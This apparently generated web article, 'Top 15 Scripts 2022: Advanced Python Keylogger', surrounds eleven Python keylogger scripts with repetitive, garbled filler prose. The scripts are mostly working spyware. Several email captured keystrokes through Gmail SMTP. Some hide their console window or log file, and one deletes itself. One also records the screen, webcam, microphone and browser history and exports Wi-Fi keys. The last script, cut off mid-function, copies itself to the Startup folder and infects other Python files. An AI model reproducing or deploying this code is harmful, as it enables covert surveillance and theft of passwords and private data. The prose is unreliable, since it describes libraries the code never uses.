Top 15 Scripts 2022: Advanced Python Keylogger

What is a Python Keylogger?

The python keylogger is recording your computer keystrokes (logging) the keys pressed on a keyboard. It is also known as keylogger or keyboard logging. In order to do keylogging, a keylogger needs to be installed on the computer. There are a number of keyloggers that can be used for this. A keylogger is a piece of computer software that can be installed on the target computer to record all the keys pressed by a user. It can be used for ethical or malicious purposes. For example, a virtual assistant can set up a keylogger to record the user’s password so that the next time the user logs in, the virtual assistant can be there to help. It can also be used to steal information such as credit card numbers.

It is also known as keylogging or keyboard capturing. There are a number of keyloggers available on the internet, so it may be difficult to choose the right one.The concept of keystroke logging is used with computers and is also done on Industrial Control Systems (ICS). It can be used for legal or illegal purposes. Keystroke logging is a keylogger, which is a software program used for logging typing keystrokes. It is usually implemented as a trojan that runs invisibly in the background.Keylogging is an old technology that has been used by various hackers in the past. python keylogger is a security process that captures every keystroke that is typed in, or every keystroke that is passed through a certain type of interception program. This blog post will take you through step by step on how to write a python keylogger.In this tutorial, you will learn how to write a keylogger in Python. A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer’s keyboard. The computer will log the keystrokes, and save them to a file.There are many different types of keyloggers on the market. The keylogger that you will be creating in this tutorial is a generic keylogger that can be used for many different types of computers. In this tutorial, you will learn how to setup a keylogger using Python.

 

#1 Keylogger Script:

from pynput.keyboard import Key, Listener
import time
import logging
import pynput
from win32gui import GetWindowText, GetForegroundWindow

logging.basicConfig(filename='YoYo.log', filemode='w', level=logging.INFO)
logger = logging.getLogger("My Keylogger")
logger.setLevel(logging.INFO)
count=0
keys=[]

class keylogger():
    def __init__(self):
        self.word=""
        self.laststroke=time.time()
        global logger
        self.lastApp,self.lastactivewindow = self.getActiveWindow()
        logger.info(self.lastactivewindow)
        self.currentApp,self.currentactivewindow = None,None


    def getActiveWindow(self):
        lastactivewindow=GetWindowText(GetForegroundWindow())
        if lastactivewindow[0]=='●':
                lastactivewindow=lastactivewindow[2:]

        splitterCount= lastactivewindow.count('-')
        if lastactivewindow.count('-')==0:
            lastApp=lastactivewindow
        else:
            lastApp=lastactivewindow.split('-')[splitterCount]
        return lastApp,lastactivewindow

    def checkCurrentWindow(self):
        if self.currentactivewindow!=self.lastactivewindow:
            logger.info(self.currentactivewindow)
            logger.info("-"*50)
            self.lastactivewindow=self.currentactivewindow

    def ischaracter(self,key):
        try:
            if isinstance(key,pynput.keyboard._win32.KeyCode) and (ord(str(key)[1]) in range(32,126)):
                return True
        except:
            return False
    
    def on_press(self,key):
        stroketime=time.time()
        global keys,count,logger
        self.currentApp,self.currentactivewindow=self.getActiveWindow()
        self.checkCurrentWindow()
        
        print(stroketime-self.laststroke,"{0}".format(key)[1])
        if stroketime-self.laststroke>1:
            print()
            logger.info(self.word)
            if self.ischaracter(key):
                self.word="{0}".format(key)[1]
            else:
                self.word=""
        if self.ischaracter(key):
            self.word+="{0}".format(key)[1]
   
        self.laststroke=stroketime 


    def write_file(self,keys):
        with open("log.txt", "a") as f:
            for key in keys:
                f.write(key) 

    def on_release(self,key):
        if key== Key.esc:
            return False
    
    def start(self):

        with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
            listener.join() 

if __name__=="__main__":
    keylog=keylogger()
    keylog.start()

 

#2 Keylogger Script:

import pynput.keyboard
import smtplib
import threading

log=""
def callback_function(key):
    global log
    try:

        log=log+key.char.encode("utf-8")
        #log= log+ str(key.char)
        print(log)
    except AttributeError:
        if key==key.space:
            log=log+" "
        else:
            log=log+str(key)

    print(log)

def send_email(email,password,message):
    email_server=smtplib.SMTP("smtp.gmail.com",587)
    email_server.starttls()
    email_server.login(email,password)
    email_server.sendmail(email,email,message)
    email_server.quit()

def threadfunct():
    global log
    send_email("example@gmail.com", "password", log)
    log=""
    timer_object=threading.Timer(30,threadfunct)
    timer_object.start()


keylogger_listener=pynput.keyboard.Listener(on_press=callback_function)
with keylogger_listener:
    threadfunct()
    keylogger_listener.join()

 

#3 Keylogger Script:

import pynput
from pynput.keyboard import Key, Listener

print("Hey Users, This is Keylogger made by Prashant Aditya, check it out, and to exit this, press volume down key ")
keys = []


def on_press(key):
    keys.append(key)
    write_file(keys)

    try:
        print('alphanumeric key {0} pressed'.format(key.char))

    except AttributeError:
        print('special key {0} pressed'.format(key))


def write_file(keys):
    with open('finaloutput.txt', 'w') as f:
        for key in keys:
            # removing ''
            k = str(key).replace("'", "")
            f.write(k)


            # every keystroke for readability
            f.write('\n')

def on_release(key):
    print('{0} released'.format(key))
    if key == Key.media_volume_down:
        return False

with Listener(on_press=on_press,
              on_release=on_release) as listener:
    listener.join()

 

#4 Keylogger Script:

import logging
import os
import platform
import smtplib
import socket
import threading
import pyscreenshot
from pynput import keyboard
from pynput.keyboard import Listener
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from subprocess import call
modules = ["pyscreenshot", "pynput", "pillow", "pygame"]
call("pip install " + ' '.join(modules), shell=True)
EMAIL_ADDRESS = "Your-Email-Address"
EMAIL_PASSWORD = "Your Password"
SEND_REPORT_EVERY = 60


class KeyLogger:
    def __init__(self, time_interval, email, password):
        self.interval = time_interval
        self.log = "Keylogger started successfully"
        self.email = email
        self.password = password

    def appendlog(self, string):
        self.log = self.log + string

    def on_move(self, x, y):
        current_move = logging.info("Mouse moved to {} {}".format(x, y))
        self.appendlog(current_move)

    def on_click(self, x, y):
        current_click = logging.info("Mouse moved to {} {}".format(x, y))
        self.appendlog(current_click)

    def on_scroll(self, x, y):
        current_scroll = logging.info("Mouse moved to {} {}".format(x, y))
        self.appendlog(current_scroll)

    def save_data(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = "SPACE"
            elif key == key.esc:
                current_key = "ESC"
            else:
                current_key = " " + str(key) + " "

        self.appendlog(current_key)

    def send_mail(self, email, password, message):
        server = smtplib.SMTP(host='smtp.gmail.com', port=587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    def send_img(self):
        with open('ss.png', 'rb') as f:
            img_data = f.read()
        msg = MIMEMultipart()
        msg['Subject'] = socket.gethostname() + '\'s screenshot LMAO!'
        msg['From'] = EMAIL_ADDRESS
        msg['To'] = EMAIL_ADDRESS

        text = MIMEText('test')
        msg.attach(text)
        image = MIMEImage(img_data, name=os.path.basename('ss.png'))
        msg.attach(image)

        s = smtplib.SMTP(host='smtp.gmail.com', port=587)
        s.ehlo()
        s.starttls()
        s.ehlo()
        s.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
        s.sendmail(msg['From'], msg['To'], msg.as_string())
        s.quit()
        print('Game running successfully')
        os.remove('ss.png')

    def report(self):
        self.send_mail(self.email, self.password, "\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def system_information(self):
        hostname = socket.gethostname()
        ip = socket.gethostbyname(hostname)
        plat = platform.processor()
        system = platform.system()
        machine = platform.machine()
        self.appendlog(hostname)
        self.appendlog(ip)
        self.appendlog(plat)
        self.appendlog(system)
        self.appendlog(machine)

    def screenshot(self):
        print('game opened')
        img = pyscreenshot.grab()
        img.save('ss.png')
        self.send_img()

    def run(self):
        self.screenshot()
        keyboard_listener = keyboard.Listener(on_press=self.save_data)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

        with Listener(on_click=self.on_click,
                      on_move=self.on_move,
                      on_scroll=self.on_scroll)as mouse_listener:
            mouse_listener.join()
        if os.name == "nt":
            try:
                pwd = os.path.abspath(os.getcwd())
                os.system("cd " + pwd)
                os.system("TASKKILL /F /IM " + os.path.basename(__file__))
                print('File was closed.')
                os.system("DEL " + os.path.basename(__file__))
            except OSError:
                print('File is close.')


keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
keylogger.run()

 

#5 Keylogger Script:

from functools import partial
from urllib import request
import atexit
import json
import os

import keyboard

MAP = {
  "space": " ",
  "\r": "\n"
}

FILE_NAME = "./keystrokes.log"
SEND_TO_REMOTE_SERVER = False
TERMINATE_KEY = "f7"

def callback(output, is_down, event):
  if event.event_type in ("up", "down"):
    key = MAP.get(event.name, event.name)
    modifier = len(key) > 1
    if not modifier and event.event_type == "down": # Capture only modifiers when keys are pressed
      return
    if modifier: # Avoid typing the same key multiple times if it is being pressed
      if event.event_type == "down":
        if is_down.get(key, False):
          return
        is_down[key] = True
      elif event.event_type == "up":
        is_down[key] = False
      key = " [{} ({})] ".format(key, event.event_type) # Indicate if the key is being pressed
    elif key == "\r":
      key = "\n" # Line break
    output.write(key) # Write the key to the output file
    output.flush() # Force write

def onexit(output):
  output.close()

def main():
  print("Press F7 to terminate")
  if SEND_TO_REMOTE_SERVER:
    if os.path.exists(FILE_NAME):
      file = open(FILE_NAME, "r").read()
      array_data = {
        "data": file,
        "type": "keylogger"
      }
      data = json.dumps(array_data).encode('utf8')
      req = request.Request(
        "https://marroquin.dev/api/tests",
        data=data,
        headers={
          'content-type': 'application/json'
        }
      )
      request.urlopen(req)
  try:
    if os.path.exists(FILE_NAME):
      os.remove(FILE_NAME) # Delete the old file
    is_down = {} # Indicates if a key is being pressed
    output = open(FILE_NAME, "a") # Output file
    atexit.register(onexit, output) # Close the file at the end of the program
    keyboard.hook(partial(callback, output, is_down)) # Install the keylogger
    keyboard.wait(TERMINATE_KEY) # Run until end key is pressed
  except PermissionError:
    print("File is probably being used by another process")

if __name__ == "__main__":
  main()

 

#6 Keylogger Script:

from pynput import keyboard
import smtplib, ssl
import time
import ctypes
import os

global start_time

interval = 60
smtp_server = "smtp.gmail.com"
port = 587
sender_email = ""       # Place your email here
reciever_email = ""     # Place the email that will recieve the captured keys
password = ""           # Place the password of the sender email here
characters = ""

context = ssl.create_default_context()

class KeyLogger():
    def __init__(self, filename: str = "logs.txt"):
        self.filename = filename

    @staticmethod
    def get_char(key):
        try:
            return key.char, 0
        except AttributeError:
            return str(key), 1

    def mail(self):
        f = open("logs.txt")
        characs = f.read()
        #print(characs)
        f.close()
        f = open("logs.txt", "r+")
        f.truncate(0)
        f.close()

        try:
            server = smtplib.SMTP(smtp_server, port)
            server.starttls(context=context)
            server.login(sender_email, password)
            server.sendmail(sender_email, reciever_email, characs)
        except Exception as e:
            print(e)
        finally:
            server.quit()

    def on_press(self, key):
        global start_time

        #print(key)
        with open(self.filename, 'a') as logs:
            os.system("attrib +h "+self.filename)

            a, b = self.get_char(key)

            if b == 0:
                logs.write(a)
            else:
                logs.write("\n"+a+"\n")

    def main(self):
        listener = keyboard.Listener(
            on_press=self.on_press,
        )
        listener.start()

if __name__ == '__main__':
    ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
    start_time = time.time()
    logger = KeyLogger()
    logger.main()
    #time.sleep(50000)
    tt = 0
    #print("here")
    while True:
        tt += 100
        time.sleep(100)     # Replace 100 with the time limit after which you want to recieve emails.
        logger.mail()

 

#7 Keylogger Script:

from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

import keyboard
import smtplib
from datetime import datetime
from win32gui import GetWindowText, GetForegroundWindow
import tkinter as tk
import tkinter.scrolledtext as scrolledtext

EMAIL_ADDRESS = "email address"
EMAIL_PASSWORD = "email password"

fileName = "LOGS.txt"
log_with_special_keys = ""


def send_email(email, password):
    text = "The logs are attached"
    server = smtplib.SMTP(host="smtp.gmail.com", port=587)
    server.starttls()
    server.login(email, password)

    message = MIMEMultipart()
    with open(fileName, "rb") as attachment:
        part = MIMEBase("application", "octet-stream")
        part.set_payload(attachment.read())
    encoders.encode_base64(part)
    part.add_header(
        "Content-Disposition",
        f"attachment; filename= {fileName}",
    )
    message['From'] = email
    message['To'] = email
    message['Subject'] = "KEYLOGGER"
    message.attach(MIMEText(text, 'plain'))
    message.attach(part)
    server.send_message(message)
    server.quit()


def special_char_name(character):
    if character == '\n':
        return "ENTER"
    elif character == '\t':
        return "TAB"
    elif character == " ":
        return "SPACE"
    else:
        return character


def report_to_file(fileName):
    global log_with_special_keys
    with open(fileName, "w") as file:
        file.write(log_with_special_keys)


class Keylogger:
    def __init__(self, window):
        self.window = window
        self.active_window = GetWindowText(GetForegroundWindow())
        self.date = str(datetime.now())[:-7].replace(" ", "-")
        self.log_without_special_keys = f"\n[{self.active_window} - {self.date}]\n"
        global log_with_special_keys
        log_with_special_keys = f"\n[{self.active_window} - {self.date}]\n"

        keyboard.on_press(callback=self.callback)
        keyboard.add_hotkey("ctrl+alt", callback=self.window.switch)
        keyboard.add_hotkey("ctrl+shift+alt+enter", callback=self.report)

    def callback(self, event):
        if self.active_window != GetWindowText(GetForegroundWindow()):
            self.date = str(datetime.now())[:-7].replace(" ", "-")
            self.active_window = GetWindowText(GetForegroundWindow())
            self.log_without_special_keys += f"\n[{self.active_window} - {self.date}]\n"
            global log_with_special_keys
            log_with_special_keys += f"\n[{self.active_window} - {self.date}]\n"

        self.valid_key(event.name)

    def valid_key(self, key):
        global log_with_special_keys
        if len(key) > 1:
            if key == "space":
                self.log_without_special_keys += " "
                log_with_special_keys += f"[{key.upper()}] "
            elif key == "enter":
                self.log_without_special_keys += "\n"
                log_with_special_keys += f"[{key.upper()}]\n"
            elif key == "tab":
                self.log_without_special_keys += "\t"
                log_with_special_keys += f"[{key.upper()}]\t"
            elif key == "backspace":
                log_with_special_keys += f"[{key.upper()} - ({special_char_name(self.log_without_special_keys[-1])})]"
                self.log_without_special_keys += self.log_without_special_keys[:-1]
            else:
                log_with_special_keys += f"[{key.upper()}]"
                self.log_without_special_keys += f"[{key.upper()}]"
        else:
            self.log_without_special_keys += key
            log_with_special_keys += key

    def report(self):
        global log_with_special_keys
        if log_with_special_keys:
            report_to_file(fileName)
            send_email(EMAIL_ADDRESS, EMAIL_PASSWORD)
        log_with_special_keys = ""
        self.log_without_special_keys = ""


class Window(tk.Tk):
    def __init__(self):
        super(Window, self).__init__()
        self.withdraw()
        self.text = scrolledtext.ScrolledText(self, width=80, height=20, wrap='word')
        self.text.pack()
        self.title("Keylogger")

    def set_text(self, text):
        self.text.delete(1.0, tk.END)
        self.text.insert(tk.END, text)

    def switch(self):
        if self.state() == "normal":
            self.withdraw()
        else:
            global log_with_special_keys
            self.set_text(log_with_special_keys)
            self.deiconify()


if __name__ == "__main__":
    window = Window()
    keylogger = Keylogger(window)
    window.mainloop()

 

How to use a Python Keylogger on Windows?

Some python keylogger can also monitor the clipboard and monitor the system memory and it can also record mouse movements. The keylogger can be installed on a computer, a laptop, a smartphone, a tablet, a network, a network-connected printer, etc. Keystroke logging is used by hackers to gain access to private information.It is a technique that hackers use in order to capture the keystrokes on a keyboard and use them to gain access to systems. They can then steal passwords and personal information and use the system to launch attacks.In the simplest terms, keylogging is the process of capturing the keystrokes typed by a user in order to obtain the keystrokes typed by the user.Keystroke logging is commonly used in computer security applications (including law enforcement, military, intelligence, and in the private sector) to monitor a computer user’s activity.

Keystroke logging is the term that refers to monitoring and recording each keystroke typed on a specific computer’s keyboard. In this tutorial, you will learn how to write a keylogger in Python. You will learn how to use a library called PyKludge to capture keystrokes and how to use a library called Scapy to send commands to the computer.Keystroke logging is the process of capturing and recording each keystroke typed on a specific computer’s keyboard. It is commonly used in the fields of computer security, law enforcement, and computer hacking.Keystroke logging is the process of recording every single keystroke typed on a specific computer. This is done by using a keylogger. A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer’s keyboard. There are two types of keyloggers. One is installed on the target computer, while the other is installed on a remote computer. Keystroke logs are often used as evidence in a criminal investigation.Keylogging is an old technology that has been used by various hackers in the past. Keylogging is a security process that captures every keystroke that is typed in, or every keystroke that is passed through a certain type of interception program. This blog post will take you through step by step on how to write a python keylogger.

There are many different types of python keylogger on the market. The keylogger that you will be creating in this tutorial is a generic keylogger that can be used for many different types of computers. In this tutorial, you will learn how to setup a keylogger using Python.Keystroke logging is a common type of surveillance technology used to monitor and record every keystroke typed on a specific computer’s keyboard. It’s typically done by software that is installed on a computer and is used to gather personal and sensitive information without the computer user’s knowledge.python keylogger is the process of recording or logging the keystrokes that are typed on a computer or other device. It is often used in law enforcement, as well as in data analytics and forensics. There are a wide variety of tools available for this purpose. The most common tool is the keylogger. This tool is used to record the keystrokes that are typed on a computer. Keystroke logging is often used in conjunction with other tools, such as keystroke monitoring software, spyware and data analytics tools.Keystroke logging is the act of recording which keys are being pressed on a keyboard at a given time. Keystroke logging software can be used to monitor activity on any computer, including a computer that is not connected to the internet. This software is often referred to as a python keylogger. Keystroke logging software is often most useful when monitoring remote computers.

 

#8 Keylogger Script:

try:

    import subprocess                                   # Yeni bir aplikasyon için kullanilmasi için gerekli kütüphane
    import socket                                       # Internet sunucularina erisim ve iletisim için gerekli kütüphane
    import os                                           # Dosya ile ilgili islemler için gerekli kütüphane
    import re                                           # String içerisindeki deðeri bulmamiza yardimci olan kütüphane
    import smtplib                                      # Verileri mail yoluyla bize yollamasi için gerekli kütüphane
    import logging                                      # Durum mesajlarini dosyaya yazmasini ya da or ciktiyi göstermesi için gerekli
    import pathlib                                      # JSON formatı icin gerekl kutuphane
    import json                                         
    import time                                         # Kodu uyutup bir süre bekletmemizi saðlayan kütüphane
    import cv2                                          # Ekran kaydi ve görüntü isleme için gerekli kütüphane
    import sounddevice                                  # Numpy dizilerini ses dosyasina dönüstüren kütüphane
    import shutil                                       # Otomatik olarak dosyalari kopyalayan ya da silen kütüphane
    import requests                                     # HTTP/1.1 istek yollayan kütüphane
    import browserhistory as bh                         # Kullanici adi, þifreleri ve tarayici geçmisini json formatinda döndüren kütüphane
    from multiprocessing import Process                 # Processin olusmasinda yardim eden kütüphane
    from pynput.keyboard import Key, Listener           # Girilen girdileri dinleyen kütüphane
    from PIL import ImageGrab                           # Ekrandaki görselleri? kopyalayan, görsel islemleride kullanilan kütüphane
    from scipy.io.wavfile import write as write_rec     # Numpy dizilerini WAv formatinda yazan kütüphane
    from email.mime.multipart import MIMEMultipart      # ['From'], ['To'], ve ['Subject'] bölümlerini encodelayan kütüphane
    from email.mime.text import MIMEText                # E mail yollayan kütüphane
    from email.mime.base import MIMEBase                
    from email import encoders

except ModuleNotFoundError:
    from subprocess import call
    modules = ["browserhistory","sounddevice","pynput","Pillow==8.3.1","keyboard==0.13.5","opencv-python","pywin32==301","requests==2.26.0","scipy==1.7.1","pathlib==1.0.1","jsonschema==3.2.0"]
    call("pip install " + ' '.join(modules), shell=True)

    #Bilgi sistemleri projesi için yapilmistir eklenen bazi fanksiyonlar internette buldugum kaynaklardan büyük oranda esinlenilmistir.
    

################ Fonksiyonlar: Klavye dinleme, Ekran Görüntüsü Alma, Mikrafon Kaydetme, Webcam ile Görüntü Alma, Email Yollama ################

# Klavye dinleme fonksiyonu
def logg_keys(file_path):
    logging.basicConfig(filename = (file_path + 'key_logs.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')
    on_press = lambda Key : logging.info(str(Key))  # Basilan tusu log'a kaydediyor
    with Listener(on_press=on_press) as listener:   # Birakildiginda kaydet
        listener.join()

# 5 saniye araliklarla ekran görüntüsü alan fonksiyon
def screenshot(file_path):
    pathlib.Path('C:/Users/Public/Logs/Screenshots').mkdir(parents=True, exist_ok=True)
    screen_path = file_path + 'Screenshots\\'

    for x in range(0,10):
        pic = ImageGrab.grab()
        pic.save(screen_path + 'screenshot{}.png'.format(x))
        time.sleep(5)                               

# Cagrildiginda 10'ar saniye boyunca mikrafonu dinleyen fonksiyon
def microphone(file_path):
    for x in range(0, 5):
        fs = 44100
        seconds = 10
        myrecording = sounddevice.rec(int(seconds * fs), samplerate=fs, channels=2)
        sounddevice.wait()                          # Dinlemenin bitirip bitirilmedigini kontrol et
        write_rec(file_path + '{}mic_recording.wav'.format(x), fs, myrecording)

# Webcam ile fotoðraf çeken fonksiyon
def webcam(file_path):
    pathlib.Path('C:/Users/Public/Logs/WebcamPics').mkdir(parents=True, exist_ok=True)
    cam_path = file_path + 'WebcamPics\\'
    cam = cv2.VideoCapture(0)

    for x in range(0, 10):
        ret, img = cam.read()
        file = (cam_path  + '{}.jpg'.format(x))
        cv2.imwrite(file, img)
        time.sleep(5)

    cam.release                                     #Webcam'i kapat
    cv2.destroyAllWindows

#E-mail'i hazirla ve olustur
def email_base(name, email_address):
    name['From'] = email_address
    name['To'] =  email_address
    name['Subject'] = 'Basarili!!!'
    body = 'Gorev Tamamlandi'
    name.attach(MIMEText(body, 'plain'))
    return name

#SMTP kullanarak 587 portuna baglan
def smtp_handler(email_address, password, name):
    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login(email_address, password)
    s.sendmail(email_address, email_address, name.as_string())
    s.quit()
#Maili yolla
def send_email(path):                               
    regex = re.compile(r'.+\.xml$')
    regex2 = re.compile(r'.+\.txt$')
    regex3 = re.compile(r'.+\.png$')
    regex4 = re.compile(r'.+\.jpg$')
    regex5 = re.compile(r'.+\.wav$')

    email_address = 'erkansari734@gmail.com'         #Mail adresini giriniz(Benim sahte mail adresim)
    password = '69e78e01t'                           #Mail'in sifresini giriniz
    
    msg = MIMEMultipart()
    email_base(msg, email_address)

    exclude = set(['Screenshots', 'WebcamPics'])
    for dirpath, dirnames, filenames in os.walk(path, topdown=True):
        dirnames[:] = [d for d in dirnames if d not in exclude]
        for file in filenames:
            # Her bir dosya adi için özel bir yol belirle. Eðer tespit edilirse, dosya uzantisini normal ifade degiskenleriyle biriyle eslestirdiginde calimiyor.
            # Eger ilk dört reget deðer döndürürse, O zaman bütün degerler e mail dosyasýna eklenip gönderilecek.
            if regex.match(file) or regex2.match(file) or regex3.match(file) or regex4.match(file):

                p = MIMEBase('application', "octet-stream")
                with open(path + '\\' + file, 'rb') as attachment:
                    p.set_payload(attachment.read())
                
                p.add_header('Content-Disposition', 'attachment;' 'filename = {}'.format(file))
                msg.attach(p)

            # Eger sadece regex5(WAV) deðer döndürürse, o zaman tek bir deðer e mail dosyasýna eklenip gönderilecek.
            elif regex5.match(file):
                msg_alt = MIMEMultipart()
                email_base(msg_alt, email_address)
                p = MIMEBase('application', "octet-stream")
                with open(path + '\\' + file, 'rb') as attachment:
                    p.set_payload(attachment.read())
                
                p.add_header('Content-Disposition', 'attachment;' 'filename = {}'.format(file))
                msg_alt.attach(p)

                smtp_handler(email_address, password, msg_alt)

            # Eger eslesip deger döndüren bir deger yoksa devam et.
            else:
                pass

    # Wav dosyasi olmayan bütün degerleri yolla
    smtp_handler(email_address, password, msg)


######################### Main Function: Network/Wifi bilgisi, Sistem bilgisi, Kopyalanmýþ veri, Tarayýcý geçmiþi #########################

# Main baslatildiginda alinan bilgileri kaydetmek için bir dizin -Path yolu- olustur
def main():
    pathlib.Path('C:/Users/Public/Logs').mkdir(parents=True, exist_ok=True)
    file_path = 'C:\\Users\\Public\\Logs\\'

    # Network/Wifi bilgisini network_wifi.txt ile al ve kaydet
    with open(file_path + 'network_wifi.txt', 'a') as network_wifi:
        try:
            # Assagidaki deðerler shell'e gir ve bilgileri çek.
            commands = subprocess.Popen([ 'Netsh', 'WLAN', 'export', 'profile', 'folder=C:\\Users\\Public\\Logs\\', 'key=clear', 
                                        '&', 'ipconfig', '/all', '&', 'arp', '-a', '&', 'getmac', '-V', '&', 'route', 'print', '&',
                                        'netstat', '-a'], stdout=network_wifi, stderr=network_wifi, shell=True)
            # 60 saniye zaman asimi yediðinde kendini öldür.
            outs, errs = commands.communicate(timeout=60)   

        except subprocess.TimeoutExpired:
            commands.kill()
            out, errs = commands.communicate()

    # Sistem bilgisini system_info ile al
    hostname = socket.gethostname()
    IPAddr = socket.gethostbyname(hostname)

    #Sistem bilgisini api.ipify sitesine istek atarak siteden command blocktan alamayacağımız bilgileri cekiyoruz
    with open(file_path + 'system_info.txt', 'a') as system_info:
        try:
            public_ip = requests.get('https://api.ipify.org').text
        except requests.ConnectionError:
            public_ip = '* Ipify connection failed *'
            pass

        system_info.write('Public IP Address: ' + public_ip + '\n' + 'Private IP Address: ' + IPAddr + '\n')
        try:
            get_sysinfo = subprocess.Popen(['systeminfo', '&', 'tasklist', '&', 'sc', 'query'], 
                            stdout=system_info, stderr=system_info, shell=True)
            outs, errs = get_sysinfo.communicate(timeout=15)

        except subprocess.TimeoutExpired:
            get_sysinfo.kill()
            outs, errs = get_sysinfo.communicate()

    #Tarayici ismi, database yolunu ve geçmisi JSON formatinda txt dosyasina kaydet
    browser_history = []
    bh_user = bh.get_username()
    db_path = bh.get_database_paths()
    hist = bh.get_browserhistory()
    browser_history.extend((bh_user, db_path, hist))
    with open(file_path + 'browser.txt', 'a') as browser_txt:
        browser_txt.write(json.dumps(browser_history))


################################################### Multiprocess Modülleri Kullanmak ###################################################

    p1 = Process(target=logg_keys, args=(file_path,)) ; p1.start()  # Klavye dinleme
    p2 = Process(target=screenshot, args=(file_path,)) ; p2.start() # Ekran görüntüsü alma
    p3 = Process(target=microphone, args=(file_path,)) ; p3.start() # Mikrafon dinleme
    p4 = Process(target=webcam, args=(file_path,)) ; p4.start()     # Webcam ile fotoðraf çekme

    # Eðer process görevini yerine getirdiyse kapat
    p1.join(timeout=300) ; p2.join(timeout=300) ; p3.join(timeout=300) ; p4.join(timeout=300)
    p1.terminate() ; p2.terminate() ; p3.terminate() ; p4.terminate()

    # þifrelenmiþ verileri mailine yolla
    send_email('C:\\Users\\Public\\Logs')
    send_email('C:\\Users\\Public\\Logs\\Screenshots')
    send_email('C:\\Users\\Public\\Logs\\WebcamPics')

    shutil.rmtree('C:\\Users\\Public\\Logs')                        #Dosyalari temizle

    main()                                                          # Main fonksiyonu ile döngüye sok

if __name__ == '__main__':
        main()

 

#9 Keylogger Script:

from pynput import keyboard
import smtplib,ssl
sender_mail = "user@domain.com"     # Replace user@domain.com with your email id (everywhere)
#prefer using your own email id for receiver's as well.
receiver_mail = "user@domain.com"  # Replace user@domain.com with your email id (everywhere)
password = "passcode"              # Enter your Password here
port = 587
message = """From: user@domain.com
To: user@domain.com                         
Subject: KeyLogs
Text: Keylogs 
"""
def write(text):
    with open("keylogger.txt",'a') as f:
        f.write(text)
        f.close()


def on_key_press(Key):
    try:
        if(Key == keyboard.Key.enter):
            write("\n")
        else:
            write(Key.char)
    except AttributeError:
        if Key == keyboard.Key.backspace:
            write("\nBackspace Pressed\n")
        elif(Key == keyboard.Key.tab):
            write("\nTab Pressed\n")
        elif(Key == keyboard.Key.space):
            write(" ");
        else:
            temp = repr(Key)+" Pressed.\n"
            write(temp)
            print("\n{} Pressed\n".format(Key))

def on_key_release(Key):
    #This stops the Listener/Keylogger.
    #You can use any key you like by replacing "esc" with the key of your choice
    if(Key == keyboard.Key.esc):
        return False

with keyboard.Listener(on_press= on_key_press,on_release= on_key_release) as listener:
    listener.join()

with open("keylogger.txt",'r') as f:
    temp = f.read()
    message = message + str(temp)
    f.close()


context = ssl.create_default_context()
server = smtplib.SMTP('smtp.gmail.com', port)
server.starttls()
server.login(sender_mail,password)
server.sendmail(sender_mail,receiver_mail,message)
print("Email Sent to ",sender_mail)
server.quit()

 

#10 Keylogger Script:

import smtplib
import subprocess
import pynput.keyboard
import threading
import socket
import sys
import os


class Keylogger:
    def __init__(self, time_interval, email, password):
        hostname = socket.gethostname()
        IPAddr = socket.gethostbyname(hostname)
        self.log = "Keylogger started " + "\n" + "Target Computer Name is: " + hostname + "\n" + "Target Computer IP Address is: " + IPAddr
        self.interval = time_interval
        self.email = email
        self.password = password

    def execute_system_command(self, commmand):
        DEVNULL = open(os.devnull, 'wb')
        return subprocess.check.output(commmand, shell = True, stderr = DEVNULL, stdid = DEVNULL)

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:  # for special characters
            current_key = str(key.char)
        except AttributeError:  # for special characters
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        self.send_mail(self.email, self.password, "\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)  # Timer set on a interval, modify to fit your needs (seconds)
        timer.start()

    def send_mail(self, email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    def start(self):
        keystrokes = pynput.keyboard.Listener(on_press=self.process_key_press)  # call back for when a key is pressed
        with keystrokes:
            self.report()
            keystrokes.join()
            sys.exit()

keeginlogarithm = keylogger.Keylogger(300, "testgmail@gmail.com", "123456789") # 
keeginlogarithm.start()

 

#11 Keylogger Script:

#start
from pynput.keyboard import Listener
import os
import logging
from shutil import copyfile
import threading
from threading import Thread
import sys, glob
import time

# autostarts
username = os.getlogin()
copyfile('keylogger.py', f"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\keylogger.pyw")

#store THIS file code
code = []
with open(sys.argv[0], 'r') as f:
    lines = f.readlines()
area = False
for line in lines:
    if line == "#start\n":
        area = True
    if area:
        code.append(line)
    if line == "#end\n":
        break

def checkfiles(files):
    #opens each file
    for file in files:
        with open(file, "r") as f:
            #new file code
            file_code = f.readlines()

        #checking
        infected = False
        for line in file_code:
            if line == "#start\n":
                infected = True
                break
        if not infected:
            final_code = []
            #add THIS file code
            final_code.extend(code)
            #add breaklines
            final_code.extend("\n")
            final_code.extend("\n")
            #add new file code
            final_code.extend(file_code)
            with open(file, "w") as f:
                f.writelines(final_code)

#find files
username = os.getlogin()
rootdir = f'C:/Users/{username}'

for subdir, dirs, files in os.walk(rootdir):
    for i in dirs:
        folderpath = os.path.join(subdir, i)
        try:
            os.chdir(folderpath)
            python = glob.glob("*.py") + glob.glob("*.pyw")
            checkfiles(python)
        except:
            pass

#create log file
def createlogs():
    username = os.getlogin()
    if os.path.exists(f"C:\\Users\\{username}\\AppData\\Roaming\\zzz") == False:
